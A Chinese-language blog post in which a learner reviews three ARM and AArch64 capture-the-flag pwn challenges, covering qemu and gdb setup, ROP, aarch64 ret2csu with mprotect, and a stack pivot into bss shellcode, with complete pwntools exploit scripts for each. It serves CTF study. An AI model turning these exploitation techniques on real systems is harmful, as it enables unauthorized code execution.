关于学习arm架构下的pwn的总结

通过这段时间对于arm架构的题目学习,自认为收获还是不少的。下面是对于这段时间关于arm架构的pwn题学习所进行的总结。(我其实还想再多做几道arm架构的栈题的,可是网上所找到的实在不多,等再遇到新的arm架构题目,我再添到这篇文章上吧)

运行程序&&启动调试

咋装的环境已经忘记了...(装完环境过了一段时间才开始arm架构的学习)装配环境的话,上网搜一下文章也不少。可以参考这篇文章 (26条消息) CTF pwn -- ARM架构的pwn题详解___lifanxin的博客-CSDN博客

记录一下怎么启动以及调试arm架构的程序。

先checksec一下(或者用file命令也行),看看是什么架构的。

file命令可以查看程序是动态链接还是静态链接。

运行程序

如果程序是静态链接并且是32位 arm架构的话,输入qemu-arm ./程序名

如果程序是静态链接并且是aarch64架构的话,输入qemu-aarch ./程序名

如果程序是动态链接且是32位 arm架构的话,输入qemu-arm -L /usr/arm-linux-gnueabihf ./程序名

如果程序是动态链接且是aarch64架构的话,输入qemu-aarch64 -L /usr/aarch64-linux-gnu ./程序名

启动调试

启动调试和运行程序的命令很相似,仅仅是加了一个参数-g 然后后面跟一个端口

比如程序是动态链接的32位 arm架构的话,输入qemu-arm -g 1234 -L /usr/aarch64-linux-gnu ./程序名

这个1234是你指定的端口,指定别的端口也可以。然后参照运行程序那四个命令以及上面这个命令,就可以依次类推出调试aarch64架构的命令了。

此时再打开另一个终端,输入gdb-multiarch(必须是用pwndbg,如果是peda的话,是没法正常调试的

然后再输入target remote localhost:1234 连接到刚才开的那个端口。

进入调试效果如图

不知道为啥,arm架构进去调试似乎不是从main函数开始的,如果单步的话需要走很久很久,可以进去之后用b在想停留的那个地方下个断点,然后c过去,这样会快很多。

遇见的报错

1、如果32位遇见这个报错的话:/lib/ld-linux-armhf.so.3: No such file or directory

输入命令sudo apt-get install libc6-armhf-cross

2、如果遇见这个报错的话:Invalid ELF image for this architecture

就说明你的qemu后面跟的参数不对,就比如你这个程序是aarch64架构的,但是你qemu后面跟的是-arm。如果你这个程序是aarch64架构的,正确做法应该是qemu后面跟着-aarch64

然后关于arm架构下的指令,在网上能搜到很多,也解释的比较清楚,我就不在这里赘述了。

下面三道例题(其实我是想多写几道的,但是在网上找到可下载的题目只有这三道(还有个堆题,等学堆了再做))的下载链接:

链接: https://pan.baidu.com/s/1dRbm8k5qup7Anj9UDrsBlA?pwd=ecpr 提取码: ecpr

typo

总结:

通过这道题的收获与学习有:

1、这是做的第一道arm架构的题目,考察的就是最简单的rop,学习到了arm32的寄存器传参方式,以及最简单的rop利用。

2、在面对静态链接的程序,IDA打开之后会发现里面有几百个函数,而且也搜不到main函数,在这种情况下,可以利用搜索关键字符串,通过关键字符串去找主函数

3、不知道是不是我的错觉,在考察简单的rop情况下,似乎师傅们都没有去花很多的精力去查看ida生成的伪代码(确实伪代码太多了),直接gdb打开看完偏移就是干。

4、在面对静态链接的程序,从ida中分析可能会异常的麻烦,如果有可能的话,其实可以靠输入内容之后观察程序的回显,猜测一些程序功能。

保护策略

IDA分析

打开IDA之后,可以发现是静态链接,旁边有非常多的函数,难以迅速定位到主函数。因此采用一种比较好用的方法。

先运行一下这个程序,发现有这种字符串

那就在IDA里面用shift+F12,查看一下这个字符串。

然后看一下引用,如此就可以找到主函数了

跳到汇编代码处,F5一下,即可看到主函数的伪代码(直接搜main函数的话,也是搜不到的)

直接看伪代码有点懵,先输入一些垃圾数据(第一次必须要输入一个回车),看看是否存在溢出

发现段错误了,那就说明存在溢出。然后用gdb调试一下,看看溢出是多少。

最初我企图用gdb单步到输入函数,然后输入垃圾数据,不过单步了很久发现依旧没有到可输入的地方,通过去看其他师傅的博客,发现了一个方便的方法。我们启动gdb之后直接输入c。c的本意是去continue到下一个断点,可是我们压根就没有下断点,因此能让这个continue停下的办法就是碰到输入函数(这一招确实妙啊)。

我们第一次先输入一个回车

插入一点:如果不输入回车呢?

不输入回车,去输入别的内容的话,程序会将我们输入的内容丢弃第一个字符,从而把后面的内容去当做命令处理。

可以发现第一次输入了个kkkkkkkkk,结果报了一个command not found。那就说明这个程序试图将我们输入的内容当做命令执行。

可是我们输入ls的话,它说s这个命令没有被执行,由此猜测,第一个字符被丢弃了。

结合上图发现,事实确实如此,可是这样就发现我们输入的内容当做指令执行的话,程序就结束了,因此我们尝试只输入一个回车看看会怎么样?

程序开始继续运行了。而且值得一提的是,人家英语也说了,按下回车键就会开始。

继续回归正题

怎么去确定偏移量?我们采用cyclic去确定输入点距离返回地址的偏移。

用cyclic填充两百个字符,然后用cyclic -l得到偏移。

因为这是静态链接,因此我们可以很轻松的去里面拿到我们想要的/bin/sh参数和system函数。

事实上我们没有办法搜到system函数,但是猜测一下,system会调用/bin/sh,因此我们先去找一下/bin/sh


如果你的IDA没有出现上面红框里面的内容,就说明IDA还没有把所有的数据装载完,等一会就行了。

然后点上面红色框跳转过来,就是这个函数。

虽然我看不出来他是个system函数,但是有关系嘛?没有关系。如此,system函数的地址就是 0x10ba8

arm架构的基本知识

arm32位

这个arm32位的话,传前四个参数是用的r0~r3寄存器,如果参数再多的话,就利用栈传参(从右向左依次入栈)。函数的返回值会存在r0寄存器中。然后pc寄存器就相当于x86中的eip寄存器(始终装的都是我们下一条指令执行的地址)除此之外,arm 的 b/bl 等指令实现跳转

因此我们就先去看看有什么可以控制r0寄存器的gadget。

这个pop r0 r4 pc就很nice。

r4我们随便填充,pc你可以理解为ret的效果。然后payload格式跟x86的差不多。

EXP:

#coding:utf-8
from pwn import *
p=process('./typo')
offset=112
pop_r0_r4_pc_addr=0x00020904
bin_sh_addr=0x0006c384
sys_addr=0x00010BA8
p.send('\n')
payload=offset*'a'+p32(pop_r0_r4_pc_addr)+p32(bin_sh_addr)+p32(0)+p32(sys_addr)
p.send(payload)
p.interactive()                 

Shanghai2018 – baby_arm

总结:

通过这道题的学习与收获有:

1、这道题也算是学习了arrch64架构下的ret2csu,与x86中的区别其实并不大。

2、mprotect函数去修改内存属性,从而执行shellcode

保护策略:

程序分析:

程序逻辑很简单,read一次输入,输入到bss段,没法溢出。然后sub_4007F0函数也有一次输入,输入到栈里,存在溢出。

同时程序中存在一个mprotect函数。

解题过程:

劫持执行流

这道题发现在第二个read结束后,我们的数据并不能覆盖返回地址(此时返回地址在我们输入数据的上面)(如下图)

不过我们发现在0x400860的地方还有一个ret,我们单步到这个ret看看,此时的x30是什么。

可以发现此时的x30,就是距离栈顶为2的内容,而这个内容对应的栈地址0x40007fffb8则是在我们第二次read输入的起始地址下面,也就是说我们可以控制这个地址,从而来劫持程序的执行流。

ret2csu?

由于mprotect函数可以改变内存的属性,本来这道题是bss段是只能写的,不过我们可以用mprotect将bss段变成可执行,然后往里面输入个shellcode就ok了。怎么控制mprotect的参数?

我们发现,arm架构下,也有一段汇编可以控制寄存器参数(完全可以把这段当成x86中的csu)

先分析下面的loc_4008cc的内容

LDP             X19, X20, [SP,#var_s10]
LDP             X21, X22, [SP,#var_s20]
LDP             X23, X24, [SP,#var_s30]
LDP             X29, X30, [SP+var_s0],#0x40                
RET

第一句这个LDP X19, X20, [SP,#var_s10]就是说将SP+0x10所指向的内容给x19和x20寄存器(x19寄存器拿的是SP+0x10所指向的内容,而x20寄存器拿的是SP+0x18所指向的内容)

然后第四句这个LDP X29, X30, [SP+var_s0],#0x40的意思是将SP所指向的内容给x29和x30寄存器(x29寄存器拿的是SP所指向的内容,而x30寄存器拿的是SP+0x8所指向的内容),完成这句指令之后,再将SP指针增加0x40个字节。

然后ret,这个就是返回到x30寄存器所存储的值。

再结合着刚刚分析的内容,来看一下loc_4008ac的内容。

LDR             X3, [X21,X19,LSL#3]
MOV             X2, X22
MOV             X1, X23
MOV             W0, W24
ADD             X19, X19, #1
BLR             X3
CMP             X19, X20
B.NE            loc_4008AC

第一句就是说将x19的值逻辑左移3位,然后加上x21的值,将得到的这个值所指向内容给x3寄存器。(如果我们控制x19的值为0的话,就是说把x21寄存器的值所指向的内容给x3寄存器。

然后剩下的mov,add就没什么好说的了。

倒数第三行BLR指令是去跳转到X3寄存器的值,同时把下一个指令的地址存到x30里面。

然后下面的CMP和x86里面的一样了。

如此思路就出来了,几乎是跟ret2csu的利用方法一样。有两点需要注意一下。第一点就是loc_4008cc中的

LDP X29, X30, [SP+var_s0],#0x40 这个指令,虽然它是在这个loc_4008cc函数的最后,但是它传给x29和x30寄存器的时候,拿的是栈顶的值。因此布置栈中数据的时候,栈顶的内容应该是存放的x29和x30的值。

第二点,是BLR X3的时候,这个X3的值溯源一下,它是由X21充当指针来指向的,而X21的值又是SP+0x20充当指针来指向的。意思就是说,我们最终想跳转的内容必须被指针的指针所指向,因此考虑的是将X3的内容放在bss段,然后X21去存储bss段的地址(指向X3的内容),然后再把X21的值布置在栈里面。最后X3的值放入mprotect的plt地址即可(因为BLR跳的话,直接跳到了寄存器的值处,因此这里应该放的是plt地址(要求这个地址装的就是指令),got地址(装的是got表,而got表中装的才是指令)是用于指针寻址跳转的情况,当时在这里迷了一下)。

EXP

#coding:utf-8
from pwn import *
context(arch='aarch64',os='linux',log_level='debug')
p=remote('node4.buuoj.cn',26705)
e=ELF('./zhengchang')
mprotect_got=e.got['mprotect']
mprotect_plt=e.plt['mprotect']
offset=0x48
bss_addr=0x411068
csu1=0x4008CC
csu2=0x4008AC
shellcode=asm(shellcraft.aarch64.sh())
shellcode=shellcode.ljust(0x100,'\x00')
shellcode+=p64(mprotect_plt)
payload1=shellcode
p.sendlineafter('Name:',payload1)
payload2=offset*'a'+p64(csu1)
payload2+=p64(0)+p64(csu2) #x29 x30
payload2+=p64(0)+p64(1) #x19 x20
payload2+=p64(bss_addr+0x100)+p64(7)#x21 x22  分别赋值给了x3 x2
payload2+=p64(0x1000)+p64(0x411000)#x23 x24  分别赋值给了x1 w0
payload2+=p64(0)+p64(bss_addr)#x29 x30
payload2+=p64(0)+p64(0)#x19 x20
payload2+=p64(0)+p64(0)#x21 x22
payload2+=p64(0)+p64(0)#x23 x24
pause()
p.sendline(payload2)
p.interactive()

inctf2018_wARMup

总结:

通过这道题的学习与收获有:

1、arm架构(32位)的bss段是可执行的!

2、这道题考察的是栈迁移,以及通过调试来确定payload的布局。这道题是比较锻炼调试能力的(至少对于现在的我来说),锻炼调试能力,我指的是不看exp的情况下,自己做这道题...

3、现在也做了三道arm架构的题了,说实话和x86下的区别不大。只要熟悉x86的做题思路,做这种题,应该很快就能适应。

保护策略:

程序分析:

存在溢出点,但是可溢出的字节很少,因此考虑栈迁移。且没有后门函数

这道题我有的地方写的是R11(是因为IDA上看是R11),有的地方写的fp(因为gdb里看的是fp),实际上这俩就是一个东西。

大致思路:

栈迁移的话,考虑迁移到BSS段,同时观察汇编,发现read的第二个参数(即输入的地址)是由R3传递的,而R3的值是由R11来传递的

同时在最后,又有一个pop指令来控制R11和PC,因此我们是可以控制R11(也就是read的第二个参数)和程序执行流的(PC)

经过调试发现,这个fp距离我们输入起始的地址偏移为100,这就意味着我们需要填充100个垃圾数据,然后来控制fp以及pc。

因此第一次输入的时候,控制fp,让其为bss段地址(迁移的时候bss段尽量抬高),然后将返回地址read地址,再跑一次,让我们的第二次payload输入到bss段。

arm架构(32位)的bss段是可执行的,尽管用vmmap看的是可写不可执行(但是布置进去的shellcode确实可以执行)

因此我们就要把shellcode布置在bss段。这道题是十分锻炼自主的调试能力的,可以看见我的exp是在shellcode前面布置了两个内容,这里我并不想解释原因。最开始我自己做这道题的时候并没有写这两个内容,当时我认为直接把bss段写shellcode就行,然后控制PC指针执行过去,事实上这样做是错误的。原因请自主调试,这里考察了自主调试来布局payload(如果你可以眼睛看出来payload整体布局的话,当我什么都没说),如果连这里到最后都不理解而且还稀里糊涂的交了flag的话,那做这道题是毫无意义的。

大致思路就是这样(第二次输入布置shellcode,然后控制PC寄存器,将其指向shellcode的位置)剩下的具体细节真的没有办法记录,因为剩下的布局都是一点一点调试出来的。

关于对调试能力的总结:

我这里说一下我从刚开始学pwn,到现在也刚好是四个月了。总结了一下的调试经验(有可能在各位师傅面前算是班门弄斧了,但这依然是对这四个月所掌握的调试能力的一个记录)。

第一,你要时刻清楚你自己想要看的内容以及自己卡在了哪里

第二,在调试的过程中,遇到卡住的地方,要思考为什么会这样。

第三,在锻炼调试能力的时候,刚开始有的地方可能不知道卡住的原因是什么,建议找一份可以打通(和你思路相近的)的exp,去调试一下,再反复对比自己exp的动态调试,这样很容易找到问题。

第四,就是可能你认为你的思路很对,但就是打不通,而别人的思路都和你的不一样,由衷建议,不要放弃你的思路,到最后无非是两种可能,你通过坚持以及思考打通了自己的exp,又或者是你通过反复调试,最后发现自己的思路是错误的,不可行的。但其实不论结果,这个坚持的过程已经让你的调试能力有了不小的进步。

EXP

#coding:utf-8
from pwn import *
context(arch='arm',os='linux',log_level='debug')
#p=remote('node4.buuoj.cn',26705)
#p=process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./armup_buu"])
p=process(["qemu-arm", "-g", "1234", "-L", "/usr/arm-linux-gnueabihf", "./armup_buu"])
e=ELF('./armup_buu')
bss_addr=0x21000+0x600
read_addr=0x0001052C
offset=100
sleep(0.2)
payload=offset*'a'+p32(bss_addr+0x68)+p32(read_addr)#因为sub减去了0x68,所以这里提前加上0x68
p.send(payload)
sleep(0.2)
shellcode=p32(0)+p32(bss_addr+8)+asm(shellcraft.sh())
payload=shellcode
payload=payload.ljust(0x64,'\x00')
payload+=p32(bss_addr+4)+p32(0x10548)#bss_addr+4是将sp设置成bss_addr(不过这一步只是将参数给R11,将sp赋值是下面的操作)    将pc设置为0x10548的目的是再执行一遍 SUB     SP, R11     POP     {R11,PC}
#这样来修改sp的值,如果不修改sp的值的话,执行shellcode的时候,有个指令会将栈里(此时是bss段)的值修改,从而导致shellcode执行失败。
#上述的内容用一句话说就是,要将栈迁移到执行流的地方。不然shellcode会把自身给破坏了... 要是不相信的话,可以不要这两个指令,然后调试一下,就明白咋回事了
p.send(payload)
p.interactive()

尾声:

这次学习了arm架构下的pwn题,这意味着在学习pwn的过程中,对于栈的学习已经到了尾声,之后的打算是再学习一下mips架构下的pwn题,然后再练几道稍微难点的栈题,就准备进入堆的部分了。

posted @ 2022-03-30 15:08  ZikH26  阅读(1596)  评论(0编辑  收藏  举报